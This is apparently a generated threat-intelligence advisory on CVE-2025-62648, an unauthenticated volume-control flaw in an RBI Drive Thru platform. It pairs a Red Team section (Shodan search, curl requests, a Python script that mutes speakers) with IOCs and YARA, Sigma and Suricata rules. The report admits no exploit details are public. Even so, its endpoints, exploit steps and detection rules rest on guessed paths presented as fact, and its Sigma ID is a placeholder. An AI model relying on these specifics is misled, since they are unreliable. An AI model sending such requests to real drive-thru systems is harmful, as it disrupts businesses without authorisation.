CVE-2025-62648

Executive Summary

CVE-2025-62648 exposes a critical security flaw in the Restaurant Brands International (RBI) assistant platform, affecting Drive Thru speaker systems. An unauthenticated remote attacker can manipulate the audio volume of Drive Thru speakers, potentially causing operational disruption, customer annoyance, or denial of service. The vulnerability stems from improper access control (CWE-284) on the platform’s audio management interface, allowing unauthorized volume adjustments without authentication. With a CVSS score of 6.4 (Medium), the risk is elevated due to the lack of required privileges and the potential for physical-world impact. No public exploit code or patch details are available at this time, but the attack surface is exposed via Shodan-detectable services.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary platform issue within the RBI ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – no data exposure.
• Integrity Impact: Low (I:L) – unauthorized modification of audio volume.
• Availability Impact: Low (A:L) – potential disruption of Drive Thru service.

Threat Level: Medium. While not leading to data breach, the ability to remotely manipulate physical audio systems can cause operational chaos, customer dissatisfaction, and potential safety hazards (e.g., distracting drivers).

Deep Dive & Mechanics

The RBI assistant platform is a cloud-connected system used to manage Drive Thru operations, including speaker volume for order-taking. The vulnerability lies in an API endpoint or web interface that controls audio volume without proper authentication or authorization checks. An attacker can send crafted HTTP requests to adjust volume levels arbitrarily.

Root Cause: Missing access control on the volume adjustment function. The platform likely exposes a REST API or WebSocket endpoint that accepts volume commands without verifying the requester’s identity or permissions.

Attack Vector: The attacker scans for exposed RBI assistant instances (e.g., via Shodan) and sends a simple HTTP POST/GET request to the vulnerable endpoint, such as:

POST /api/volume
Content-Type: application/json
{"volume": 100}

or

GET /set_volume?level=1

Impact: Volume can be set to maximum (causing audio distortion and customer annoyance) or minimum (preventing staff from hearing orders), effectively disrupting Drive Thru operations. Repeated attacks could lead to denial of service.

Vulnerable vs. Patched Code

Since no patch details are available, we provide a conceptual comparison.

Vulnerable Code (Python Flask example):

@app.route('/api/volume', methods=['POST'])
def set_volume():
    data = request.get_json()
    volume = data.get('volume')
    # No authentication check
    set_speaker_volume(volume)
    return jsonify({"status": "ok"})

Patched Code (with authentication):

@app.route('/api/volume', methods=['POST'])
@require_auth  # decorator that validates API key or session
def set_volume():
    data = request.get_json()
    volume = data.get('volume')
    if not is_authorized(current_user, 'audio_control'):
        return jsonify({"error": "unauthorized"}), 403
    set_speaker_volume(volume)
    return jsonify({"status": "ok"})

The patch adds authentication and authorization checks, ensuring only authorized personnel can adjust volume.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: RBI assistant platform instance (simulated or real, with permission).
• Tools: curl, Burp Suite, Shodan, Nmap.

Steps:

1. Discovery: Use Shodan to find exposed RBI assistant platforms:

   shodan search "RBI assistant platform"
   

2. Recon: Identify the volume control endpoint via directory brute-forcing or API documentation.
3. Exploit: Send a request to adjust volume:

   curl -X POST http://target/api/volume -H "Content-Type: application/json" -d '{"volume": 0}'
   

   Or via GET:

   curl "http://target/set_volume?level=15"
   

4. Verify: Observe the Drive Thru speaker output change (if accessible) or monitor network logs.

Proof of Concept (PoC) Script:

import requests

target = "http://target-ip"
endpoint = "/api/volume"
payload = {"volume": 0}  # mute

response = requests.post(target + endpoint, json=payload)
if response.status_code == 200:
    print("Volume adjusted successfully")
else:
    print("Exploit failed")

Blue Team (Defensive)

Detection:

• Monitor for unusual volume adjustment requests (e.g., repeated calls to /api/volume).
• Alert on requests from unknown IPs to audio control endpoints.
• Use network segmentation to isolate Drive Thru systems from public internet.

Hunting:

• Search logs for volume parameter in HTTP requests.
• Correlate with Shodan exposure alerts.

Mitigation:

• Implement authentication and authorization on all API endpoints.
• Apply rate limiting to volume control endpoints.
• Use Web Application Firewall (WAF) rules to block suspicious requests.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/volume, /set_volume, or similar endpoints.
  • Unusual volume values (e.g., 0, 100, negative numbers) in request payloads.
  • Source IPs not in the organization’s whitelist.

• Host IOCs:

  • Log entries showing volume changes without corresponding user authentication.
  • Unexpected changes in Drive Thru speaker behavior.

• Shodan Dorks:

  • "RBI assistant platform"
  • "Drive Thru" "volume"

Detection Engineering

YARA Rule

rule CVE_2025_62648_Volume_Manipulation {
    meta:
        description = "Detects HTTP requests targeting RBI assistant volume control"
        author = "Valters IT"
        date = "2025-09-06"
        cve = "CVE-2025-62648"
    strings:
        $volume_endpoint = "/api/volume" nocase
        $volume_param = "volume=" nocase
        $json_volume = "\"volume\":" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-62648 - RBI Drive Thru Volume Manipulation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthorized volume adjustment attempts on RBI assistant platform
author: Valters IT
date: 2025-09-06
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/volume'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62648 - RBI Drive Thru Volume Manipulation"; flow:to_server; content:"POST"; http_method; content:"/api/volume"; http_uri; content:"\"volume\""; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the RBI assistant platform from the public internet using firewalls or VPNs.
2. Implement authentication for all API endpoints, especially volume control.
3. Apply rate limiting to prevent brute-force or repeated attacks.

Long-term Fix:

• Vendor must release a patch that adds proper access control. Until then, use network segmentation and WAF rules.
• Monitor Shodan for exposed instances and take them offline.

Workaround:

• Disable remote volume control if not essential, or restrict it to local network only.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.